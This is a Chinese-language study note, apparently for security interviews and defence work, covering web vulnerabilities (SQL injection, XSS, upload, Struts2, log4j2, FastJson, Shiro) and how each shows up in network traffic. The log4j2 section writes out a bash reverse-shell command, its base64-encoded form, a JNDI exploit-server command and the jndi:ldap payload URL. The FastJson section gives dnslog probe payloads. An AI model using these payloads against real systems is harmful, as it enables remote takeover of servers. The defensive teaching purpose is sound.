在这里给大家推荐一个阿里云的活动,可白嫖一年2h4g服务器
活动链接:https://university.aliyun.com/mobile?clubTaskBiz=subTask…11404246…10212…&userCode=ks0bglxp
一、漏洞分析
1.SQL注入
原理:
当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据
危害:
-
泄露大量的用户信息。
-
获取管理员密码:攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。这样不仅对数据库信息安全造成严重威胁,对整个数据库系统安全也影响重大。
-
删除数据库,对企业造成重大损失。
1.1.SQL注入常见关键字
1.user()返回当前使用数据库的用户
2.current_user()返回当前用户所对应的授权用户
3.version()返回当前数据库版本信息
4.database()返回当前数据库名
5.group_concat()把数据库中的某列数据或几列数据合并为一个字符串
6.@@datadir数据库路径
7.@@version_compile_os操作系统版本
1.2.分类
1.联合查询
2.布尔盲注
length(),ascii(),mid(),substr(),ord()
3.时间盲注
if(),sleep().benchmark()
4.报错注入
5.宽字节注入
2.XSS
原理:
跨站脚本(Cross-site scripting,简称XSS),是指恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web页面的HTML代码会被执行,从而达到恶意攻击用户的目的。
危害:
1)钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼 JavaScript 以监控目标网站的表单输入,甚至发起基于 DHTML 更高级的钓鱼攻击方式。
2)网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
3)身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。
4)盗取网站用户信息:当能够窃取到用户 Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
5)垃圾信息发送:比如在 SNS 社区中,利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
6)劫持用户 Web 行为:一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送与接收的数据等等。
7)XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。
1.1分类
反射性:也叫做非持久型XSS。攻击者将恶意脚本附加到 url 的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。
存储型:也叫做持久型XSS。存储型XSS会被保存到数据库,在其他用户访问到这条数据时,这个代码会在访问用户的浏览器端执行。
DOM型
3.文件上传漏洞
原理:
上传文件的时候,如果服务器端后端语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而攻击者绕过上传机制上传恶意代码文件并执行从而控制服务器。
危害:
攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器。
1.1.漏洞防御措施
1、 上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、 对文件后缀的判断中使用白名单的方式。
3、 文件服务器和web服务器分离,也就是上传的文件单独存放到其他的服务器之中。
4、 不需要返回文件路径的情况下,随机改写文件名。
4.跨站请求伪造漏洞
5.服务器请求伪造
6.RCE
7.Struts2-045
漏洞原因:
基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达式的URL导致远程代码执行。
8.log4j2(必问)
漏洞原理:
log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面是触发漏洞的两部分关键代码:
1.org·apache.logging.log4j.core.pattern.MessagePatternconverter 的 format()方法(表达式内容替换)
2.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)
这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${}就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。
在 ${}中可以使用的部分关键词如下:
${java:version}getSystemProperty("java.version")
${java:runtime} getRuntime()
${java:vm) getVirtualMachine()
${java:os} getOperatingSystem()
${java:hw} getHardware( )
${java:locale} getLocale()
${env:CLASSPATH}
${env:HOME}
${env:JAVA_HOME}
${env:LANG}
${env:LC_TERMINAL}
${jndi:ldap://ip/port/exp}
最终效果就是通过jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令
JNDI介绍
Java Naming and Directory Interface,JAVA命名和目录接口(命名服务接口)应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。
JNDI可以访问以下命名/目录服务:
。RMI(JAVA远程方法调用)
。LDAP(轻量级目录访问协议)
。CORBA(公共对象请求代理体系结构)
。DNS(域名服务)
LDAP协议
LDAP(Ligntweight Directory Access Protocol),轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。默认服务端口389
复现过程:
首先检测站点是否存在JNDI注入漏洞
使用dnslog平台生成一个临时域名
在要测试的站点中使用jndi访问此域名,若能解析代表存在jndi注入漏洞
注入点是/admin/cores?action=
那么就在此处传入192.168.31.63:8983/solr/admin/cores?action=${jndi:dns://ylx7kn.dnslog.cn}
发现dnslog平台有解析记录说明该站点存在此jndi注入漏洞
1.构造反弹shell payload
将目标shell反弹到 192.168.31.90/6666 上
bash -i >& /dev/tcp/192.168.31.90/6666 0>&1
进行base64编码,因为可能会对特殊字符进行过滤
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjkwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar将我们的攻击机作为ldap服务端
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjkwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}” -A “192.168.31.90”
开启监听我们攻击机的6666端口
随后在存在JNDI注入漏洞的站点,将我们构造好的payload传入
http://192.168.31.63:8983/solr/admin/cores?action=${jndi:ldap://192.168.31.90:1389/Exploit}
返回攻击机查看发现成功拿到目标shell
9.FastJson
原理
fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,就会读取 @type 的内容,试图把JSON内容反序列化成这个对象,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链
java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可以通过 dnslog的方式得知漏洞是否存在,比如如下的存在
{
"name" :{
"@type" :"java.net.InetAddress"
"va1":"任意字符,qydzoe.dnslog.cn"
}
}
{
"name" : {
"@type" :"Ljava.net.InetAddress;"
"val":"任意字符.qydzoe.dnslog.cn"
}
}
{
"name" :{
"@type":"LLjava.net.InetAddress;"
"va1":"任意字符.qydzoe.dnslog.cn"
}
}
10.shiro-550
一句话总结,shiro框架提供了记住密码的功能,然后在生成cookie时使用了AES加密,AES是对称加密,采用了默认秘钥。所以攻击就能使用默认秘钥进行构造恶意cookie,从而达到反弹shell
Shiro550和Shiro721利用过程中有着显著的区别
1、Shiro550漏洞,使用已知的密钥进行攻击(秘钥是固定或者默认的),这意味着攻击者可以利用硬编码的AES密钥,来构造恶意的序列化对象。攻击者不需要拥有有效的RememberMe Cookier来执行攻击,只要有足够的密钥库即可。
2、Shiro721漏洞,加密使用的密钥是系统随机生成的,这使得攻击者难以直接猜测或使用已知的密钥进行攻击。攻击者需要利用登录后的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造RememberMe Cookie值来实现反序列化漏洞攻击。相比Shiro550,Shiro721的利用条件更高,因为它要求攻击者已经拥有一个有效的登录会话
二、流量特征
1.SQL注入流量分析
会有明显的注入语句。判断是否注入成功可以查找是否返回数据库名通过
因为我们是防守人员可以直接查找响应中是否返回了我们的数据库名
sqlmap流量特征
sqlmap会在注入点尝试大量的注入,可以明显观察到很多相似的数据流
最重要的是sqlmap会将自己的版本号在UA投中输出
2.XSS流量分析
反射型在url中能观察到明显的js语句
3.文件上传流量分析
上传正常文件时,流量会显示正确的文件类型
查看正常上传的响应包
而如果上传的是木马文件则不会在流量描述中显示文件类型
可以查看上传的内容显示分组字节,发现是一句话木马
攻击者会验证是否上传成功,这种流量则是能够查看到访问了文件上传的目录且通过追踪流会看到执行了什么命令
4.目录扫描流量分析
会有大量404,切夹杂着很多不同目录
5.口令爆破流量分析
会有大量相同的请求长度,且响应长度相同
在响应长度中会有一个不同的,这个就是爆破成功的响应
查看传入数据也为正确
6.RCE流量分析
可以看到whoami这是明显的命令
在响应中也找到了whoami执行的结果
可以查看到明显的木马
再查看响应
这种木马是输出了一个文件所以这里无法查看,那么就要看攻击者是否使用了一句话木马
发现访问此前上传的木马,并且扎起下方有一个post请求,查看post请求执行了什么
这说明攻击者已经拿到了服务器的控制权了
7.log4j2流量分析
网站流量中有明显的jndi注入语句
且在利用时会请求恶意的java类
查看此流量可以观察到base64编码后的反弹shell命令
8.FastJson流量分析
@tyep
9.shiro流量分析
工具探测shiro流量
请求包这种cookie会有remenberMe=yes
爆破秘钥流量,会有大量探测cookie的请求包
没有爆破成功会有响应remenberMe=deletMe
成功则没有
命令执行流量特征
请求包中会有执行的命令,且响应包会返回对应命令的结果
10.Struts2流量分析
工具探测流量
会有大量相似请求,且其中会有大量%,@,且会有multipart/from-data
命令执行流量
Struts2-045
会更改Content-Type,且会在其中看到命令
命令执行结果是通过tcp流量传回
11.weblogic流量分析
大部分是t3协议